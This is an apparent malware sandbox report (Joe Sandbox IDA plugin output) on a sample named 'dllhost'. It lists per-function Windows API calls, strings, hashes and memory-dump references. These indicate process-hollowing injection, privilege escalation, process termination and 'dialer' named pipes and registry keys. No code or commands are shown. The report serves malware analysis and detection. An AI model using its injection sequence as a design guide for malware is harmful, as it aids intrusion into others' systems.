Part of subcall function 0000000140001000: HeapAlloc.KERNEL32(?,?,00000000,0000000140001544), ref: 0000000140001037

RegOpenKeyExW.ADVAPI32 ref: 000000014000159E
RegOpenKeyExW.ADVAPI32 ref: 00000001400015CB
RegCloseKey.ADVAPI32 ref: 00000001400015E5
RegOpenKeyExW.ADVAPI32 ref: 0000000140001605
RegCloseKey.KERNELBASE ref: 0000000140001620
RegOpenKeyExW.ADVAPI32 ref: 0000000140001640
RegCloseKey.ADVAPI32 ref: 000000014000165B
RegOpenKeyExW.ADVAPI32 ref: 000000014000167B
RegCloseKey.ADVAPI32 ref: 0000000140001696
RegOpenKeyExW.ADVAPI32 ref: 00000001400016B6
RegCloseKey.ADVAPI32 ref: 00000001400016D1
RegOpenKeyExW.ADVAPI32 ref: 00000001400016F1
RegCloseKey.ADVAPI32 ref: 000000014000170C
RegOpenKeyExW.ADVAPI32 ref: 000000014000172C
RegCloseKey.ADVAPI32 ref: 0000000140001747
RegOpenKeyExW.ADVAPI32 ref: 0000000140001767
RegCloseKey.ADVAPI32 ref: 0000000140001782
RegCloseKey.ADVAPI32 ref: 000000014000178C

Part of subcall function 0000000140001274: RegQueryInfoKeyW.ADVAPI32 ref: 00000001400012D1
Part of subcall function 0000000140001274: GetProcessHeap.KERNEL32 ref: 00000001400012DF
Part of subcall function 0000000140001274: HeapAlloc.KERNEL32 ref: 00000001400012F0
Part of subcall function 0000000140001274: RegEnumValueW.ADVAPI32 ref: 000000014000134F
Part of subcall function 0000000140001274: StrCmpIW.SHLWAPI ref: 0000000140001388
Part of subcall function 0000000140001274: GetProcessHeap.KERNEL32 ref: 00000001400013C7
Part of subcall function 0000000140001274: HeapAlloc.KERNEL32 ref: 00000001400013D5
Part of subcall function 0000000140001274: GetProcessHeap.KERNEL32 ref: 00000001400013F2
Part of subcall function 0000000140001274: HeapFree.KERNEL32 ref: 0000000140001400

Strings

process_names, xrefs: 0000000140001639
tcp_remote, xrefs: 0000000140001725
service_names, xrefs: 00000001400016AF
udp, xrefs: 0000000140001760
startup, xrefs: 00000001400015C1
paths, xrefs: 0000000140001674
pid, xrefs: 00000001400015FE
SOFTWARE\dialerconfig, xrefs: 000000014000157E
tcp_local, xrefs: 00000001400016EA

Memory Dump Source

Source File: 00000044.00000002.1821606470.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000044.00000002.1821582967.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821633102.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821692361.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValue
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 3993315683-2879589442
Opcode ID: 2b309bef933cfa78f1970bf9c63780987827e412de03e182df68e362c732813e
Instruction ID: 6d7d95916604e4ffecc7df06e5d7207a05ffde36480a44705d0775a9d4fcdff1
Opcode Fuzzy Hash: 2b309bef933cfa78f1970bf9c63780987827e412de03e182df68e362c732813e
Instruction Fuzzy Hash: 6871D6B6310A5086EB12EF66F8507DD23A4FB88BC8F016115FB4D97A7ADE38C554C744

Function 0000000140002A14 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 124
filememorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCpyW.SHLWAPI ref: 0000000140002A45
StrCatW.SHLWAPI ref: 0000000140002A53
GetModuleHandleW.KERNEL32 ref: 0000000140002A5C
GetCurrentProcess.KERNEL32 ref: 0000000140002A7C
K32GetModuleInformation.KERNEL32 ref: 0000000140002A90
CreateFileW.KERNELBASE ref: 0000000140002AC0
CreateFileMappingW.KERNELBASE ref: 0000000140002AEA
MapViewOfFile.KERNELBASE ref: 0000000140002B0D
lstrcmpiA.KERNEL32 ref: 0000000140002B63
VirtualProtect.KERNEL32 ref: 0000000140002B96
VirtualProtect.KERNEL32 ref: 0000000140002BC6
CloseHandle.KERNELBASE ref: 0000000140002BCF
CloseHandle.KERNEL32 ref: 0000000140002BD8
FreeLibrary.KERNEL32 ref: 0000000140002BE1

Strings

C:\Windows\System32\, xrefs: 0000000140002A37
.text, xrefs: 0000000140002B5C

Memory Dump Source

Source File: 00000044.00000002.1821606470.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000044.00000002.1821582967.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821633102.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821692361.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_140000000_dllhost.jbxd

Similarity

API ID: FileHandle$CloseCreateModuleProtectVirtual$CurrentFreeInformationLibraryMappingProcessViewlstrcmpi
String ID: .text$C:\Windows\System32\
API String ID: 2721474350-832442975
Opcode ID: 3c2cac29267c4764876fb0089e5e402af6c2ebc65583537dcb3214cf5c3439df
Instruction ID: dfe9efa62791befa50248ca661271f48b6fe4723356168206a8c879346357553
Opcode Fuzzy Hash: 3c2cac29267c4764876fb0089e5e402af6c2ebc65583537dcb3214cf5c3439df
Instruction Fuzzy Hash: 29516AB230468086EB22DF12F8587DAB3A1FB8CBD5F444215AF4A03BA8DF38C549C704

Function 00000001400036FC Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40
sleepfilepipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140002300: AllocateAndInitializeSid.ADVAPI32 ref: 000000014000234F
Part of subcall function 0000000140002300: SetEntriesInAclW.ADVAPI32 ref: 0000000140002397
Part of subcall function 0000000140002300: LocalAlloc.KERNEL32 ref: 00000001400023A7
Part of subcall function 0000000140002300: InitializeSecurityDescriptor.ADVAPI32 ref: 00000001400023BB
Part of subcall function 0000000140002300: SetSecurityDescriptorDacl.ADVAPI32 ref: 00000001400023D2
Part of subcall function 0000000140002300: CreateNamedPipeW.KERNELBASE ref: 0000000140002413

Sleep.KERNEL32 ref: 0000000140003721
ConnectNamedPipe.KERNELBASE ref: 000000014000372E
ReadFile.KERNEL32 ref: 0000000140003751
WriteFile.KERNEL32 ref: 000000014000377F
Sleep.KERNEL32 ref: 000000014000378C
DisconnectNamedPipe.KERNEL32 ref: 0000000140003795

Strings

\\.\pipe\dialerchildproc, xrefs: 0000000140003709
M, xrefs: 0000000140003772

Memory Dump Source

Source File: 00000044.00000002.1821606470.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000044.00000002.1821582967.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821633102.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821692361.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_140000000_dllhost.jbxd

Similarity

API ID: NamedPipe$DescriptorFileInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesLocalReadWrite
String ID: M$\\.\pipe\dialerchildproc
API String ID: 2203880229-1753684470
Opcode ID: 264f81d3a6ac6bca323ce3fa8054da7710f72da389890086086dd295b32d71a1
Instruction ID: c448ab6558bdd7463f57c5c12a5a219c56a73407a56f172addbd9e8e0ddff9c1
Opcode Fuzzy Hash: 264f81d3a6ac6bca323ce3fa8054da7710f72da389890086086dd295b32d71a1
Instruction Fuzzy Hash: 1C1139F121868492E726EB22F8047EA6764B78DBE0F444225FB9A436F6DF7CC548C704

Function 0000000140002CB8 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36
sleeppipefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140002300: AllocateAndInitializeSid.ADVAPI32 ref: 000000014000234F
Part of subcall function 0000000140002300: SetEntriesInAclW.ADVAPI32 ref: 0000000140002397
Part of subcall function 0000000140002300: LocalAlloc.KERNEL32 ref: 00000001400023A7
Part of subcall function 0000000140002300: InitializeSecurityDescriptor.ADVAPI32 ref: 00000001400023BB
Part of subcall function 0000000140002300: SetSecurityDescriptorDacl.ADVAPI32 ref: 00000001400023D2
Part of subcall function 0000000140002300: CreateNamedPipeW.KERNELBASE ref: 0000000140002413

Sleep.KERNEL32 ref: 0000000140002CDD
ConnectNamedPipe.KERNELBASE ref: 0000000140002CEA
ReadFile.KERNEL32 ref: 0000000140002D0D
Sleep.KERNEL32 ref: 0000000140002D2E
DisconnectNamedPipe.KERNEL32 ref: 0000000140002D37

Strings

\\.\pipe\dialercontrol, xrefs: 0000000140002CC5

Memory Dump Source

Source File: 00000044.00000002.1821606470.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000044.00000002.1821582967.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821633102.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821692361.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_140000000_dllhost.jbxd

Similarity

API ID: NamedPipe$DescriptorInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesFileLocalRead
String ID: \\.\pipe\dialercontrol
API String ID: 2071455217-3404160161
Opcode ID: 3209f241eb13f1ef8ec1a4decc378a022141b60f243280a494fd49a09c45b802
Instruction ID: 4aa5465129413e2f39cc36440aa91cbf4e29d23be742ebc323825d4ea6cf5422
Opcode Fuzzy Hash: 3209f241eb13f1ef8ec1a4decc378a022141b60f243280a494fd49a09c45b802
Instruction Fuzzy Hash: 080148B120464082FB16EB22F8547EA6360A79DBE1F554225FB66436F5CE7CC948CB00

Function 000000014000363C Relevance: 9.1, APIs: 6, Instructions: 58
memorysleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140003657
HeapAlloc.KERNEL32 ref: 000000014000366B
GetProcessHeap.KERNEL32 ref: 0000000140003674
HeapAlloc.KERNEL32 ref: 0000000140003682
K32EnumProcesses.KERNEL32 ref: 000000014000369D
Sleep.KERNEL32 ref: 00000001400036F2

Memory Dump Source

Source File: 00000044.00000002.1821606470.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000044.00000002.1821582967.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821633102.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821692361.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$AllocProcess$EnumProcessesSleep
String ID:
API String ID: 3676546796-0
Opcode ID: c96deb0488732d85c0e234732b40ab3daafc8955a2b60271e324f420789b4ec5
Instruction ID: 932927f610c79799a7423f6de90e0e5c96436069bf88993b9f6edd8e186454c1
Opcode Fuzzy Hash: c96deb0488732d85c0e234732b40ab3daafc8955a2b60271e324f420789b4ec5
Instruction Fuzzy Hash: B81172B270061196E716DB17F81476A76A6F7C9FC1F558028EF8207B78CE3AD884CB00

Function 000000014000200C Relevance: 9.1, APIs: 6, Instructions: 55
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(?,?,00000000,0000000140002F58), ref: 0000000140002021
HeapAlloc.KERNEL32(?,?,00000000,0000000140002F58), ref: 0000000140002032

Part of subcall function 0000000140001CF0: GetProcessHeap.KERNEL32 ref: 0000000140001D23
Part of subcall function 0000000140001CF0: HeapAlloc.KERNEL32 ref: 0000000140001D36
Part of subcall function 0000000140001CF0: GetProcessHeap.KERNEL32 ref: 0000000140001D44
Part of subcall function 0000000140001CF0: HeapAlloc.KERNEL32 ref: 0000000140001D55
Part of subcall function 0000000140001CF0: K32EnumProcesses.KERNEL32 ref: 0000000140001D6F
Part of subcall function 0000000140001CF0: OpenProcess.KERNEL32 ref: 0000000140001D9D
Part of subcall function 0000000140001CF0: K32EnumProcessModulesEx.KERNEL32 ref: 0000000140001DCA
Part of subcall function 0000000140001CF0: ReadProcessMemory.KERNEL32 ref: 0000000140001E01
Part of subcall function 0000000140001CF0: CloseHandle.KERNELBASE ref: 0000000140001E3D
Part of subcall function 0000000140001CF0: GetProcessHeap.KERNEL32 ref: 0000000140001E4F
Part of subcall function 0000000140001CF0: RtlFreeHeap.NTDLL ref: 0000000140001E5D
Part of subcall function 0000000140001CF0: GetProcessHeap.KERNEL32 ref: 0000000140001E63
Part of subcall function 0000000140001CF0: RtlFreeHeap.NTDLL ref: 0000000140001E71

OpenProcess.KERNEL32 ref: 0000000140002079
TerminateProcess.KERNEL32 ref: 000000014000208C
CloseHandle.KERNEL32 ref: 0000000140002095
GetProcessHeap.KERNEL32 ref: 00000001400020A5

Memory Dump Source

Source File: 00000044.00000002.1821606470.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000044.00000002.1821582967.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821633102.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821692361.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_140000000_dllhost.jbxd

Similarity

API ID: HeapProcess$Alloc$CloseEnumFreeHandleOpen$MemoryModulesProcessesReadTerminate
String ID:
API String ID: 1323846700-0
Opcode ID: 9ff41f5b47486c21fa891594cf0c33ae277b6b992257bec1fa520ef4309fdbd8
Instruction ID: c66517cf2b2c161b5e7adf19ff96308ebd974c614c1f63983815515aa541087b
Opcode Fuzzy Hash: 9ff41f5b47486c21fa891594cf0c33ae277b6b992257bec1fa520ef4309fdbd8
Instruction Fuzzy Hash: DD114CB1B0564086FB16DF27B84439A66A1EB8DBD4F488028FF0903777EE39C486C704

Function 0000000140002D40 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140002D54: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002D7C
Part of subcall function 0000000140002D54: OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002D8C
Part of subcall function 0000000140002D54: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002DA6
Part of subcall function 0000000140002D54: LookupPrivilegeValueW.ADVAPI32 ref: 0000000140002DBD
Part of subcall function 0000000140002D54: AdjustTokenPrivileges.KERNELBASE ref: 0000000140002DF5
Part of subcall function 0000000140002D54: GetLastError.KERNEL32 ref: 0000000140002DFF
Part of subcall function 0000000140002D54: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002E08
Part of subcall function 0000000140002D54: RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002E31
Part of subcall function 0000000140002D54: RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002E61
Part of subcall function 0000000140002D54: RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002E91
Part of subcall function 0000000140002D54: GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002EA5
Part of subcall function 0000000140002D54: HeapAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002EB3
Part of subcall function 0000000140002D54: GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002EC6
Part of subcall function 0000000140002D54: HeapAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002ED4

ExitProcess.KERNEL32 ref: 0000000140002D4B

Memory Dump Source

Source File: 00000044.00000002.1821606470.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000044.00000002.1821582967.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821633102.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821692361.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_140000000_dllhost.jbxd

Similarity

API ID: Process$Heap$OpenValue$AllocQueryToken$AdjustCloseCurrentErrorExitHandleLastLookupPrivilegePrivileges
String ID:
API String ID: 2472495637-0
Opcode ID: 6a20d8ef6d5d0a33946017a04688fae3853965e8bdf45be2cba163fde7849c19
Instruction ID: 59e064767c250cdef6e9f59bcc282425e560d761e872fe105b4542e7c77ad29f
Opcode Fuzzy Hash: 6a20d8ef6d5d0a33946017a04688fae3853965e8bdf45be2cba163fde7849c19
Instruction Fuzzy Hash: E7A002B0A1159041DA09B77674553D91561575C741F100415611547172DD7844954655

Non-executed Functions

Function 00000001400031D8 Relevance: 47.5, APIs: 20, Strings: 7, Instructions: 236
registrymemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32 ref: 0000000140003250

Part of subcall function 0000000140001860: OpenProcess.KERNEL32 ref: 0000000140001896
Part of subcall function 0000000140001860: IsWow64Process.KERNEL32 ref: 00000001400018B2
Part of subcall function 0000000140001860: CloseHandle.KERNELBASE ref: 00000001400018D6
Part of subcall function 0000000140001860: OpenProcess.KERNEL32 ref: 0000000140001931
Part of subcall function 0000000140001860: OpenProcess.KERNEL32 ref: 0000000140001950
Part of subcall function 0000000140001860: K32GetModuleFileNameExW.KERNEL32 ref: 000000014000196D
Part of subcall function 0000000140001860: PathFindFileNameW.SHLWAPI ref: 000000014000197B
Part of subcall function 0000000140001860: lstrlenW.KERNEL32 ref: 0000000140001987
Part of subcall function 0000000140001860: StrCpyW.SHLWAPI ref: 000000014000199E
Part of subcall function 0000000140001860: CloseHandle.KERNEL32 ref: 00000001400019AA
Part of subcall function 0000000140001860: StrCmpIW.SHLWAPI ref: 00000001400019E9

Part of subcall function 0000000140001860: NtQueryInformationProcess.NTDLL ref: 0000000140001A1A
Part of subcall function 0000000140001860: OpenProcessToken.ADVAPI32 ref: 0000000140001A42
Part of subcall function 0000000140001860: GetTokenInformation.KERNELBASE ref: 0000000140001A6E
Part of subcall function 0000000140001860: GetLastError.KERNEL32 ref: 0000000140001A78
Part of subcall function 0000000140001860: LocalAlloc.KERNEL32 ref: 0000000140001A8B
Part of subcall function 0000000140001860: GetTokenInformation.KERNELBASE ref: 0000000140001AB7
Part of subcall function 0000000140001860: GetSidSubAuthorityCount.ADVAPI32 ref: 0000000140001AC4
Part of subcall function 0000000140001860: GetSidSubAuthority.ADVAPI32 ref: 0000000140001AD3
Part of subcall function 0000000140001860: LocalFree.KERNEL32 ref: 0000000140001AEB
Part of subcall function 0000000140001860: CloseHandle.KERNEL32 ref: 0000000140001AFF

RegOpenKeyExW.ADVAPI32 ref: 00000001400032E1
RegDeleteValueW.ADVAPI32 ref: 00000001400032F9
RegDeleteValueW.ADVAPI32 ref: 000000014000330D
RegDeleteValueW.ADVAPI32 ref: 0000000140003321
ExitProcess.KERNEL32 ref: 0000000140003358
GetProcessHeap.KERNEL32 ref: 000000014000335F
HeapAlloc.KERNEL32 ref: 0000000140003372
K32EnumProcesses.KERNEL32 ref: 000000014000338F
ExitProcess.KERNEL32 ref: 000000014000344D

Strings

open, xrefs: 000000014000354F
SOFTWARE, xrefs: 00000001400032D3
dialerstager, xrefs: 00000001400032F2
dialerdll32, xrefs: 0000000140003306
dialerdll64, xrefs: 000000014000331A
dialersvc64, xrefs: 0000000140003333
dialersvc32, xrefs: 0000000140003327

Memory Dump Source

Source File: 00000044.00000002.1821606470.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000044.00000002.1821582967.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821633102.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821692361.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_140000000_dllhost.jbxd

Similarity

API ID: Process$Open$CloseDeleteFileHandleInformationTokenValue$AllocAuthorityExitHeapLocalName$CountEnumErrorFindFreeLastModulePathProcessesQueryReadWow64lstrlen
String ID: SOFTWARE$dialerdll32$dialerdll64$dialerstager$dialersvc32$dialersvc64$open
API String ID: 4225498131-1247716241
Opcode ID: 422f40bd223bb63f26ace592334ba55c24233faa36fd25942569ee90e96e746c
Instruction ID: e08a93284e424f9f2f03302153dd23542788a9e373c29e46626a4198fc3bbd5f
Opcode Fuzzy Hash: 422f40bd223bb63f26ace592334ba55c24233faa36fd25942569ee90e96e746c
Instruction Fuzzy Hash: E0B128F1604A8096EB7BDF27F8543EA22A9F74C7C4F458125BB0A47AB6DE798605C700

Function 0000000140002434 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 324
injectionthreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32 ref: 0000000140002532
VirtualAllocEx.KERNEL32 ref: 000000014000258D
WriteProcessMemory.KERNEL32 ref: 00000001400025B5
VirtualProtectEx.KERNEL32 ref: 00000001400025DF
WriteProcessMemory.KERNEL32 ref: 000000014000261E
VirtualProtectEx.KERNEL32 ref: 0000000140002668
VirtualAlloc.KERNEL32 ref: 000000014000269D
GetThreadContext.KERNEL32 ref: 00000001400026C0
WriteProcessMemory.KERNEL32 ref: 00000001400026EA
SetThreadContext.KERNEL32 ref: 000000014000270D
VirtualAllocEx.KERNEL32 ref: 0000000140002747
WriteProcessMemory.KERNEL32 ref: 000000014000276F
VirtualProtectEx.KERNEL32 ref: 0000000140002799
WriteProcessMemory.KERNEL32 ref: 00000001400027D8
VirtualProtectEx.KERNEL32 ref: 0000000140002822
VirtualAlloc.KERNEL32 ref: 0000000140002857
Wow64GetThreadContext.KERNEL32 ref: 0000000140002875
WriteProcessMemory.KERNEL32 ref: 0000000140002899
Wow64SetThreadContext.KERNEL32 ref: 00000001400028B7
ResumeThread.KERNEL32 ref: 00000001400028C6
OpenProcess.KERNEL32 ref: 00000001400028E6
TerminateProcess.KERNEL32 ref: 00000001400028F9

Strings

@, xrefs: 000000014000273F
h, xrefs: 00000001400024F2
RtlGetVersion, xrefs: 0000000140002498
NtUnmapViewOfSection, xrefs: 0000000140002544

Memory Dump Source

Source File: 00000044.00000002.1821606470.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000044.00000002.1821582967.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821633102.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821692361.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_140000000_dllhost.jbxd

Similarity

API ID: Process$Virtual$MemoryWrite$Thread$AllocContextProtect$Wow64$CreateOpenResumeTerminate
String ID: @$NtUnmapViewOfSection$RtlGetVersion$h
API String ID: 1423830022-1371749706
Opcode ID: bb03c724c0a37b745e04d1c2cc94b97180df235d5c9c7911ccdb9c72fcca1860
Instruction ID: 66eadde3e23c78db0b2c2a162faeb5bceed69f312705dc0718e950d303e6fa69
Opcode Fuzzy Hash: bb03c724c0a37b745e04d1c2cc94b97180df235d5c9c7911ccdb9c72fcca1860
Instruction Fuzzy Hash: 94D17EB670164187EB61CB67F84479AB7A0FB88BD4F004025EF8947BA4DF78D599CB04

Function 0000000140001274 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 136
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000001400012D1
GetProcessHeap.KERNEL32 ref: 00000001400012DF
HeapAlloc.KERNEL32 ref: 00000001400012F0
RegEnumValueW.ADVAPI32 ref: 000000014000134F
StrCmpIW.SHLWAPI ref: 0000000140001388
StrCmpW.SHLWAPI ref: 0000000140001390
GetProcessHeap.KERNEL32 ref: 00000001400013C7
HeapAlloc.KERNEL32 ref: 00000001400013D5
GetProcessHeap.KERNEL32 ref: 00000001400013F2
HeapFree.KERNEL32 ref: 0000000140001400
lstrlenW.KERNEL32 ref: 0000000140001409
GetProcessHeap.KERNEL32 ref: 0000000140001417
HeapAlloc.KERNEL32 ref: 0000000140001425
StrCpyW.SHLWAPI ref: 0000000140001447
GetProcessHeap.KERNEL32 ref: 000000014000145E
HeapFree.KERNEL32 ref: 000000014000146C

Strings

d, xrefs: 0000000140001312

Memory Dump Source

Source File: 00000044.00000002.1821606470.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000044.00000002.1821582967.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821633102.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821692361.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 3db9478a101194b55b940351d2e6744c1199954fa76c07e8abb2f2f05a3be27a
Instruction ID: cbe0a9e96035c6652df35f1bebe582e7c0167c489293dce8c24ece8bd57d0938
Opcode Fuzzy Hash: 3db9478a101194b55b940351d2e6744c1199954fa76c07e8abb2f2f05a3be27a
Instruction Fuzzy Hash: C35128B2604B8486EB56DF62F4483AA77A1F78CBD5F444124EB4A07B79DF38C555C700

Function 000000014000217C Relevance: 13.6, APIs: 9, Instructions: 100memorycomCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 0000000140002192
SysAllocString.OLEAUT32 ref: 00000001400021A2
CoInitializeEx.OLE32 ref: 00000001400021AF
CoInitializeSecurity.OLE32 ref: 00000001400021E6
CoCreateInstance.OLE32 ref: 0000000140002226
VariantInit.OLEAUT32 ref: 0000000140002238
CoUninitialize.OLE32 ref: 00000001400022D2
SysFreeString.OLEAUT32 ref: 00000001400022DB
SysFreeString.OLEAUT32 ref: 00000001400022E4

Memory Dump Source

Source File: 00000044.00000002.1821606470.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000044.00000002.1821582967.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821633102.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821692361.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_140000000_dllhost.jbxd

Similarity

API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
String ID:
API String ID: 4184240511-0
Opcode ID: 52a031b336cdca2811222aac7cadf92182542813affb2ed5c5bed703cbbb13aa
Instruction ID: d557f572b548448d46b4b4e400aa3a3f0eed60a23b27f74265f55533597505c8
Opcode Fuzzy Hash: 52a031b336cdca2811222aac7cadf92182542813affb2ed5c5bed703cbbb13aa
Instruction Fuzzy Hash: D14148B2700A859AE711CF6AE8843DD73B1FB89B99F445225FF0A43A69DF38C159C304

Function 000000014000104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000001400010B1
RegEnumValueW.ADVAPI32 ref: 0000000140001117
GetProcessHeap.KERNEL32 ref: 000000014000115A
HeapAlloc.KERNEL32 ref: 0000000140001168
GetProcessHeap.KERNEL32 ref: 0000000140001185
HeapFree.KERNEL32 ref: 0000000140001193

Strings

d, xrefs: 00000001400010D6

Memory Dump Source

Source File: 00000044.00000002.1821606470.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000044.00000002.1821582967.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821633102.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000044.00000002.1821692361.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_68_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: e46bc08d923f3710a6f0b6657d2c3335541900ed0314ce9ea7860df7b3fef6c0
Instruction ID: 42b997484051ce9e6daf6bc3104cf1544be02307d9272190f1dec121864cc25c
